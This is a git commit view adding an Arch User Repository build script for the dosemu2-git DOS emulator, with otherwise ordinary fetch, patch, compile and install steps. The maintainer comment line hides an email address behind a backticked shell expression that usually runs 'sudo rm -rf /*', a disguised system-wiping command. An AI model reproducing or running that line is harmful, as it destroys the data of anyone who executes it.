diff options
author | felix | 2016-05-22 22:08:55 +0200 |
---|---|---|
committer | felix | 2016-05-22 22:08:55 +0200 |
commit | 4c64b8b3927a03e49e8399923ac9eb7d694ce11e (patch) | |
tree | 6c3c4a7e7c02cbe7373027d829f13eaceed1a927 /PKGBUILD | |
download | aur-4c64b8b3927a03e49e8399923ac9eb7d694ce11e.tar.gz |
Initial version: 2.0pre4+733+g030b1b0
Diffstat (limited to 'PKGBUILD')
-rw-r--r-- | PKGBUILD | 78 |
1 files changed, 78 insertions, 0 deletions
diff --git a/PKGBUILD b/PKGBUILD new file mode 100644 index 000000000000..4efda2314e33 --- /dev/null +++ b/PKGBUILD @@ -0,0 +1,78 @@ +# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `> +# Based on dosemu-git: +# Maintainer: Mike Swanson <mikeonthecomputer@gmail.com> +# Based on the Arch Linux PKGBUILD by: +# Maintainer: Sergej Pupykin <pupykin.s+arch@gmail.com> +# Contributor: Jaroslaw Swierczynski <swiergot@aur.archlinux.org> +# Contributor: Eric Belanger <belanger@astro.umontreal.ca> +# Contributor: Bob Finch <w9ya@arrl.net> + +pkgname=dosemu2-git +pkgver=2.0pre4+733+g030b1b0 +pkgrel=1 +epoch=0 +pkgdesc="Virtual machine that allows you to run DOS programs under linux" +arch=('i686' 'x86_64') +url="https://stsp.github.io/dosemu2/" +license=('GPL' 'custom') +depends=() +optdepends=( + 'vde2: networking support' + 'sdl2: graphical display' + 'slang: console display' + 'gpm: mouse support in console' + 'libao: audio output' + 'fluidsynth: MIDI support' +) +conflicts=('dosemu') +provides=('dosemu') +backup=( + 'etc/dosemu/dosemu.conf' +# 'etc/dosemu/dosemu.users' +# 'etc/dosemu/global.conf' +) +source=( + git+https://github.com/stsp/dosemu2.git + https://dl.dropboxusercontent.com/u/13513277/dosemu/dosemu-freedos-1.1-bin.tgz + build-system.patch + xdosemu.desktop + compiletime-settings +) +sha256sums=( + 'SKIP' + '0891a8346ee58f8468ab17f93315d6f23fe68348d297be39c1faad5bd6e59613' + 'c4364f3837744775faebeac86ad22e5b636db411942c6e21e74e9b3277e066cf' + 'ed210a850a1102fbf56bfd8a34b5dddca538caa2eee39210ee612406891c3e5a' + '7f64ff44f13779fe3e283f23b9eb8765433b87f1222cc147bf524a8e844f736f' +) +noextract=('dosemu-freedos-1.1-bin.tgz') + +pkgver() { + cd "$srcdir/dosemu2" + git describe --long | sed -e 's/^dosemu2-//; y/-/+/' +} + +prepare() { + cd "$srcdir/dosemu2" + + patch -Np1 < ../build-system.patch + sed -ie '/yyget_leng/ s/int/size_t/' src/base/init/lexer.h +} + +build() { + cd "$srcdir/dosemu2" + + ln -fs "../compiletime-settings" compiletime-settings + ./autogen.sh + ./default-configure + make +} + +package() { + cd "$srcdir/dosemu2" + make DESTDIR="$pkgdir" install + install -Dm 644 "$srcdir"/xdosemu.desktop "$pkgdir"/usr/share/applications/xdosemu.desktop + install -Dm 644 etc/dosemu.xpm "$pkgdir"/usr/share/icons/dosemu.xpm + install -Dm 644 COPYING "$pkgdir"/usr/share/licenses/$pkgname/COPYING + install -Dm 644 COPYING.DOSEMU "$pkgdir"/usr/share/licenses/$pkgname/COPYING.DOSEMU +} |